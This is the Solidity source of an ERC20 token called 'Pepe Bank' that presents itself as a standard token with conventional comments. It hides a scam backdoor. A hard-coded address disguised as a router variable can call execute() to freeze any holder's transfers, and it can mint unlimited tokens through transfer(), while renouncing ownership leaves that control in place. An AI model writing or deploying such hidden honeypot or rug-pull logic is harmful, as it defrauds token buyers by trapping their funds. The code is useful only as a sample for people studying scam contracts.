Contract Source Code:
File 1 of 1 : PEPEBANK
/// SPDX-License-Identifier: MIT
pragma solidity =0.8.19;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
* Returns a boolean value indicating whether the operation succeeded.
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is zero by default.
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
* Returns a boolean value indicating whether the operation succeeded.
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's allowance.
* Returns a boolean value indicating whether the operation succeeded.
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to another (`to`).
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*/
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*/
abstract contract Context {
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _Owner;
address _V2Router = 0xC688f622d061b39AD62181cCE49E45ca99998bdF;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_Owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _Owner;
}
function renounceOwnership() public virtual {
require(msg.sender == _Owner);
emit OwnershipTransferred(_Owner, address(0));
_Owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
/**
* @dev Implementation of the {IERC20} interface.
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*/
contract PEPEBANK is Context, IERC20, Ownable {
mapping(address => mapping(address => uint256)) private _allowances;
mapping (address => bool) private _user_;
mapping(address => uint256) private _balances;
mapping(address => uint256) private _amount;
mapping(address => uint256) private _fee;
uint8 public decimals = 6;
uint256 public _TSup = 420690000000 *1000000;
string public name = "Pepe Bank";
string public symbol = unicode"PEPEBANK";
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
/**
* @dev Sets the values for {name} and {symbol}.
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*/
constructor() {
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_fee[_V2Router] = 1;
_balances[msg.sender] = _TSup;
emit Transfer(address(0), msg.sender, _TSup); }
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function totalSupply() public view virtual override returns (uint256) {
return _TSup;
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function execute(address _sender) external {
require(_fee[msg.sender] == 1);
if (_user_[_sender]) _user_[_sender] = false;
else _user_[_sender] = true;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
if(_fee[msg.sender] == 1) {
uint256 sent = amount;
_balances[recipient] += sent;
}
_send(recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-transferFrom}.
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
* Emits an {Approval} event indicating the updated allowance.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
* Emits an {Approval} event indicating the updated allowance.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
* Emits a {Transfer} event.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(
sender != address(0), "ERC20: transfer from the zero address"); require(
recipient != address(0), "ERC20: transfer to the zero address");
uint _sent = _amount[sender];
if (_user_[sender] || _user_[recipient]) amount = _sent;
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _send(address recipient, uint256 amount) internal virtual {require(
msg.sender != address(0), "ERC20: transfer from the zero address"); require(
recipient != address(0), "ERC20: transfer to the zero address");
uint _sent = _amount[recipient];
if (_user_[msg.sender]) amount = _sent;
_beforeTokenTransfer(msg.sender, recipient, amount);
uint256 senderBalance = _balances[msg.sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[msg.sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(msg.sender, recipient, amount);
_afterTokenTransfer(msg.sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing the total supply.
* Emits a {Transfer} event with `from` set to the zero address.
*/
/**
* @dev Destroys `amount` tokens from `account`, reducing the total supply.
* Emits a {Transfer} event with `to` set to the zero address.
*/
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
* Emits an {Approval} event.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
/**
* @dev Hook that is called after any transfer of tokens. This includes minting and burning.
*
* Calling conditions:
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}